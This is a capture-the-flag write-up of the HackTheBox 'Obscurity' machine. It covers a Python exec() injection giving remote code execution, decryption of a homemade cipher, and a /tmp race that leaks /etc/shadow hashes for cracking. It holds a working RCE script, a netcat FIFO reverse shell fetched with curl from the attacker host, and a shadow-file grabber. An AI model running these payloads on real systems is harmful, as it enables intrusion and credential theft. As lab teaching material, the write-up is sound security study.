HackTheBox - Obscurity

— Written by — 20 min read
obscurity-hackthebox

Just finished the newly released Obscurity box on Hackthbox. I have to say it was a really cool box that required a lot of custom exploitation and cover various topics such as command injection, a little crypto and misconfigurations. I wouldn’t say it’s an easy one but it’s a pretty good one for developers comfortable with Python and want to level up in CTF.

Tl;Dr: The user flag consisted in grabbing the source code of the server running port 80, “reverse engineer” it to find a command injection flaw in its workflow. From there you achieve remote code execution as www-data. As www-data you can access Robert user /home/ directory filed with a encrypted password reminder file and a “homemade” python encryption script. Reversing this script you can recover the password used to encrypt the password reminder file. Once decrypted you use this password in the file to pivot to Robert user and grab the flag.
The root flag was accessible by abusing another homemade python script used to get a shell as root, when reverse engineer it you discover the script temporary store all users password hashes to the /tmp folder when running but immediately deletes them. You can write a script to grab the hashes fast enough before they get deleted, crack the hash of root and connect with the root account to grab the flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the host file:

1
[hg8@archbook ~]$ echo "10.10.10.168 obscurity.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
12
[hg8@archbook ~]$ nmap -sV -sT -sC obscurity.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-26 09:56 CET
Nmap scan report for obscurity.htb (10.10.10.168)
Host is up (0.038s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
9000/tcp closed cslistener
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds

Bit less classic than usual, port 80 is closed, nmap return 9000 port which is closed (no idea what this is so we keep it in mind for later maybe).
The ssh port 22 is open and the 8080 one running BadHTTPServer… Intriguing.

Let’s dig it on this “bad” server.
Opening http://obsurity.htb:8080/ display the following website:

obscurity

Looking around we notice this interesting message:

Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory.

Well, since we don’t have other entry point yet, let’s try to bruteforce our way to find this “secret” directory name.

This time I decided to give ffuf (“a fast web fuzzer written in Go”) a try. It’s usage is pretty straightforward and similar to wfuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$ ffuf -w ~/SecLists/Discovery/Web-Content/big.txt -u "http://obscurity.htb:8080/FUZZ/SuperSecureServer.py"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0-rc1
________________________________________________
:: Method : GET
:: URL : http://obscurity.htb:8080/FUZZ/SuperSecureServer.py
________________________________________________
develop [Status: 200, Size: 5892, Words: 1806, Lines: 171]
:: Progress: [20470/20470] :: 222 req/sec :: Duration: [0:01:32] :: Errors: 0 ::

Got it! The secret directory was develop.

Let’s open this SuperSecureServer.py to take a look:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:

# try:

# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))

# except Exception as e:

# print(e)

document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}

The source code is worth reading, taking a bit of time to understand give some really interesting insight on the working of this http server.

Remote Code Execution -> www-data shell

If you are used to python development (and ctf…), a line should quickly catch your eye:

1
exec(info.format(path))

As a reminded exec() dynamically execute Python code passed as argument.
Like eval() it’s usage is dangerous and open door to injections.

Let’s see if we can use this flow to achieve remote code execution on the server.
Can we inject code in info variable ?

1
info = "output = 'Document: {}'"

Nope… path then?

1
2
3
4
5
6
7
8
9
10
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
[...]
def handleRequest(self, request, conn, address):
if request.good:
document = self.serveDoc(request.doc, DOC_ROOT)
[...]
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)

As we could have have guess path contains the url requested to the server and, good news for us, no sanitization is being made.

In the same way as SQL injection, let’s try to inject Python code that will lead to remote code injection on the server.

Let’s create a simplified script to do so with information we have:

1
2
3
4
import os
path = input("Command to execute: ")
info = "output = 'Document: {}'"
print(info.format(path))

So let’s see what would happen if we pass an os command as path? Let’s try with os.system('sleep 5')

1
2
3
[hg8@archbook ~]$ python injection.py
Command to execute: os.system('sleep 5')
output = 'Document: os.system('sleep 5')'

This is not going to work, we will need to escape the python command, let’s give it another try:

1
2
3
[hg8@archbook ~]$ python injection.py
Command to execute: ';os.system('sleep 5');'
output = 'Document: ';os.system('sleep 5');''

Looks good to me and doesn’t throw error, let’s add the same exec() than in the original to make sure the injection will work properly against the server:

1
2
3
4
import os
path = "';os.system('sleep 5');'"
info = "output = 'Document: {}'"
exec(info.format(path))

And let’s run it, if it hang for 5 seconds then it mean our injection was successful:

1
2
[hg8@archbook ~]$ time python injection.py
python tmp.py 0.02s user 0.01s system 0% cpu 5.029 total

It worked perfectly. Let’s now gather everything we know to achieve remote code execution on the server:

1
2
3
4
5
6
import os
import requests
url = "http://obscurity.htb:8080/';os.system('{}');'"
while True:
cmd = input("Command to execute: ")
r = requests.get(url.format(cmd))

We will try to execute a reserve shell. After having no luck getting the classical netcat nor python reverse shell to work (which is strange since we know python is running on the box), I managed to get the fifo netcat reverse shell to work:

1
2
3
4
[hg8@archbook ~]$ cat hg8.sh
rm /tmp/h;mkfifo /tmp/h;cat /tmp/h|/bin/sh -i 2>&1|nc 10.10.10.10 8585 >/tmp/h
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then we open our listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

And finally we send our payload:

1
2
3
[hg8@archbook ~]$ python rce.py
Command to execute: curl 10.10.10.10:8000/hg8.sh -o /tmp/hg8.sh
Command to execute: bash /tmp/hg8.sh

Aand we get the connection:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.168:43378
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Note: Looking around we immediately notice that the python bin used is pyhton3 that’s why the common python shell wasn’t working. As usual it’s easy to overlook simple blockers like this one…

Pivot www-data -> Robert

Quick recon shows that the user is robert and have a few interesting files we can read:

1
2
3
4
5
6
7
8
9
www-data@obscure:/$ ls -l /home/robert/
ls -l /home/robert/
total 24
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
-rw-rw-r-- 1 robert robert 94 Sep 26 23:08 check.txt
-rw-rw-r-- 1 robert robert 185 Oct 4 15:01 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 15:01 passwordreminder.txt
-rwxrwxr-x 1 robert robert 2514 Oct 4 14:55 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 14:12 user.txt

passwordreminder.txt sure looks interesting… Let’s check it out:

1
2
www-data@obscure:/home/robert/$ cat passwordreminder.txt
´ÑÈÌÉàÙÁÑ鯷¿k

It’s encrypted. What else do we have ? Let’s see for check.txt and out.txt:

1
2
3
4
www-data@obscure:/home/robert/$ cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!
www-data@obscure:/home/robert/$ cat out.txt
¦ÚÈêÚÞØÛÝÝ ×ÐÊß ÞÊÚÉ æßÝË ÚÛÚê ÙÉë éÑÒÝÍÐ êÆáÙÞã ÒÑ ÐáÙ¦ÕæØ ãÊÎÍ ßÚêÆ Ýáäè ÎÍÚ Îë ÑÓäáÛÌ× v

That’s interesting. check.txt explain that encrypting this same file will result in out.txt with a given key. We have both clear text message and it’s encrypted version.

Something also catch my eye. Did you notice that the encrypted version contain the same number of characters and the same spaces placement than the clear text one?

We can say with confidence that the encryption mechanism seems to simply encrypt each letter one by one using the key somehow. Let’s see if we can find more informations and possibly retrieve the key. If we find the key, we can decipher the passwordreminder.txt that will allow us to progress.

We didn’t take a look at SuperSecureCrypt.py, it’s easy to guess that it’s the script used to encrypt those file. This is the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import sys
import argparse

def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted

def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)

parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)

parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Decrypting...")
decrypted = decrypt(data, args.k)

print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()

print("Encrypting...")
encrypted = encrypt(data, args.k)

print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)

Let’s break it down to better understand how it works:

1
2
3
4
5
6
7
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i', metavar='InFile', type=str, help='The file to read', required=False)

parser.add_argument('-o', metavar='OutFile', type=str, help='Where to output the encrypted/decrypted file', required=False)

parser.add_argument('-k', metavar='Key', type=str, help='Key to use', required=False)

Reading the argparse we can quickly understand what’s this script will encrypt and decrypt a given file using a given key.

The function that interesting us is the encrypt function. Why is it interesting ? Because we have a clear text file and it’s encrypted version (check.txt and out.txt).

The encrypt function looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted

12 lines, taking it step by step we should have a good understanding of what it is doing.

Let’s start!

The function take 2 arguments, the text to encrypt and the secret key. Nothing surprising yet.

Second, third and fourth line respectively get the length of the key, initialize keyPos to 0 (which we can understand means “key position”) and initialize the encrypted variable that will for sure hold the final encrypted content since it’s returned at the end of the function.

The for loop every character of the content to encrypt, this seems to confirm our previous assumption that the content is encrypted letter-by-letter.

Inside the for loop, the encrypt mechanism takes place.

keyChr = key[keyPos] get the secret key letter position. For example if the secret password is hg8 then at the first loop, keyChr will be h, second loop it will be g and third loop 8 since keyPos get incremented by one at the end of the loop.

Then, ord() function is used on the letter to encrypt. Python documentation explain:

Given a string representing one Unicode character, return an integer
representing the Unicode code point of that character. For example, ord('a') returns the integer 97 and ord('€') (Euro sign)
returns 8364. This is the inverse of chr().

Next line is where the Magic happens. Let’s break it down:

  1. newChr + ord(keyChr) : The integer unicode code of the character to encrypt gets added to the integer unicode code of the current key character.

  2. (newChr + ord(keyChr)) % 255) gets the remainder from the division of the keyChr addition by 255 to make sure it doesn’t not exceed the Unicode code list.

  3. Finally we convert the result integer of the operation back to string using chr()

The encrypted character then gets added to the final encrypted variable with encrypted += newChr

The last two lines increments the key position, so that the next characters to be encrypted will be encrypted from the next character of the secret key and so on.

keyPos = keyPos % keylen will restart the key position once we are at the end of the key. For example with hg8 as a key, this is what will happen when keyPos is 3:

1
2
3
keyPos = keyPos % keylen
keyPos = 3 % 3
keyPos = 0 # keyPos will be 0 since 3 divided by 3 gets 0 as remainder

Alright ! This seems pretty clear now (and not very robust encryption).

I am not going to describe the decrypt() function since it’s exactly the same but inverted.

Let’s now focus on how, from an encrypted string and it’s clear-text equivalent, we can find back the secret key used.

Recovering the secret key

Seeing the encrypt logic it’s easy to understand how to get back the key from an clear string and it’s encrypted equivalent :

Clear character + Key Character = Encrypted Character

Key Character = Encrypted Character - Clear character

With that in mind we are going to write a little script to recover the secret key used to encrypt check.txt to out.txt. To start we will input both clear and encrypted value:

1
2
clear = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"
encrypted = "¦ÚÈêÚÞØÛÝ݉×ÐÊ߅ÞÊÚɒæßÝˈÚÛÚêÙÉëéÑÒÝÍЅêÆáÙÞã–ÒшÐáÙ¦Õæ؞ãÊÎ́ßÚêƎÝáäè‰ÎÍڌÎëÑÓäáÛÌ׉v"

Here you need to be careful when copy pasting, because space of the encrypted version are not “usual” spaces and could mess up your script if you paste it as normal spaces. Here is how it should looks like (in vim for example):

Here is the final script I made:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def recover_key(clear, encrypt):
key = ""
position_clear = 0
position_encrypt = 0

for character in clear:
clear_char = clear[position_clear]
encrypt_char = encrypt[position_encrypt]
key_char = chr(ord(encrypt_char) - ord(clear_char))
key += key_char
position_clear += 1
position_encrypt += 1

return key

clear = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"
encrypt = "¦ÚÈêÚÞØÛÝ݉×ÐÊ߅ÞÊÚɒæßÝˈÚÛÚêÙÉëéÑÒÝÍЅêÆáÙÞã–ÒшÐáÙ¦Õæ؞ãÊÎ́ßÚêƎÝáäè‰ÎÍڌÎëÑÓäáÛÌ׉v"

key = recover_key(clear, encrypt)
print(key)

Let’s run it:

1
2
[hg8@archbook ~]$ python get_secret_key.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

Looks good! The key is repeating (remember keyPos = keyPos % keylen) but we can easily see it’s alexandrovich. Let’s try to use it to decrypt passwordreminder.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@obscure:/home/robert/$ python SuperSecureCrypt.py -i passwordreminder.txt -o passwordreminder.clear.txt -k alexandrovich
################################
# BEGINNING #
# SUPER SECURE ENCRYPTOR #
################################
############################
# FILE MODE #
############################
Opening file passwordreminder.txt...
Encrypting...
Writing to passwordreminder.clear.txt...
www-data@obscure:/home/robert/$ cat passwordreminder.clear.txt
SecThruObsFTW

Let’s try to login to Robert account with this password:

1
2
3
4
5
6
[hg8@archbook ~]$ ssh [email protected]
[email protected]'s password:

Last login: Wed Jan 22 14:56:30 2020 from 10.10.14.9
robert@obscure:~$ cat user.txt
exxxxxxxxxxxxxxxxxxx7

Root Flag

Recon

One of the first thing I do when doing recon for root is checking the sudoer file for uncommon configuration.

1
2
3
4
5
6
7
$ sudo -S -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

Interesting, another “homemade” script. And it can be run as sudo. Sounds like a bad idea to me. If we can find a flaw in this BetterSSH.py we will be able to escalate our privileges to root.

The python script is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")

with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break

if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass

hash = crypt.crypt(passW, salt)

if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))

except Exception as e:
traceback.print_exc()
sys.exit(0)

if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

As the name suggest, this script aim to serve as a replacement for SSH.

After reading the code we can understand the main logic is the following:

  1. Get the user to input username and password

    1
    2
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")
  2. Open and parse the /etc/shadow file to a temporary file in /tmp/SSH/

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
    [...]
    with open('/etc/shadow', 'r') as f:

    data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
    if not x == None:
    passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
    f.write(passwordFile)

    at this point the created tmp file should like something like this:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    root
    $6$rixxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxch4dy
    111111
    0
    111111
    1

    hg8
    $6$qpePkxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc6RAj/
    111111
    0
    111111
    1
  3. Check if username exist, if username don’t exist the temp file get removed and the script exit.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    for p in passwords:

    if p[0] == session['user']:
    salt, realPass = p[1].split('$')[2:]
    break

    if salt == "":
    print("Invalid user")
    os.remove('/tmp/SSH/'+path)
    sys.exit(0)
  4. If the username exist, the password get hashed and compared to the hash in the temp file (coming from /etc/shadow ) to see if they match. In the end the temp file get removed wether the password was correct or not.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    salt = '$6$'+salt+'$'

    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
    print("Authed!")
    session['authenticated'] = 1
    else:
    print("Incorrect pass")
    os.remove('/tmp/SSH/'+path)
    sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
  5. If the password if also correct we get dropped in a “pseudo” shell:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    if session['authenticated'] == 1:

    while True:
    command = input(session['user'] + "@Obscure$ ")
    cmd = ['sudo', '-u', session['user']]
    cmd.extend(command.split(" "))
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    o,e = proc.communicate()
    print('Output: ' + o.decode('ascii'))
    print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

Alright! So with all of this in mind, what can of flaw can we find in that ?

First thing that came to my mind was to edit the script to display the retrieved root hash. But of course it can not be that easy, we don’t have write rights since the file is owned by root:

1
2
3
robert@obscure:~/BetterSSH$ ls -l
total 4
-rwxr-xr-x 1 root root 1805 Oct 5 13:09 BetterSSH.py

Then what? The temporary file catch the attention aswell… If we manage to read it before it get deleted, we could retrieve root user password hash. We are facing two issues here:

  1. The file name is random.

  2. The file get deleted immediately after creation. The script allow no “pause” where we could read the file before it gets deleted.

At this point we will need to write a script monitoring the /tmp/SSH/ folder for any file creation and grab it’s content as fast as possible before it get deleted.

To do so, I wrote a simple script:

1
2
3
4
5
6
7
8
9
10
11
12
13
import os

path = "/tmp/SSH/"

before = dict([(file, None) for file in os.listdir(path)])

while True:
after = dict([(file, None) for file in os.listdir(path)])
added = [file for file in after if file not in before]
if added:
with open(path + added[0], 'r') as new_file:
print(new_file.read())
before = after

Basically the script will loop forever while listing file in /tmp/SSH/, if a new file is detected it will print its content.

Let’s drop it on the server and give it a try:

1
robert@obscure:/$ python3 /tmp/watch_ssh.py

In another shell let’s run the betterSSH.py script:

1
2
3
4
robert@obscure:~$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: hg8
Enter password: hg8
Invalid user

Going back to our script we can see it worked!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
robert@obscure:/$ python3 /tmp/watch_ssh.py
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

Cracking Root password hash

Now that we have the hash let’s hope it can be cracked. I will use john the ripper

1
2
3
4
5
[hg8@archbook ~]$ echo "$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/" > roothash
[hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt roothash
Press 'q' or Ctrl-C to abort, almost any other key for status
mercedes (?)
Session completed

Alright! We have the root password, let’s try to use it with the betterSSH.py script:

1
2
3
4
5
6
$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: mercedes
Authed!
root@Obscure$ cat /root/root.txt
Output: 5xxxxxxxxxxxxxxxxxxxxxxxxx3

As always do not hesitate to contact me for any questions or feedbacks.

See you next time !

-hg8



CTFHackTheBoxMedium Box
, , , , , ,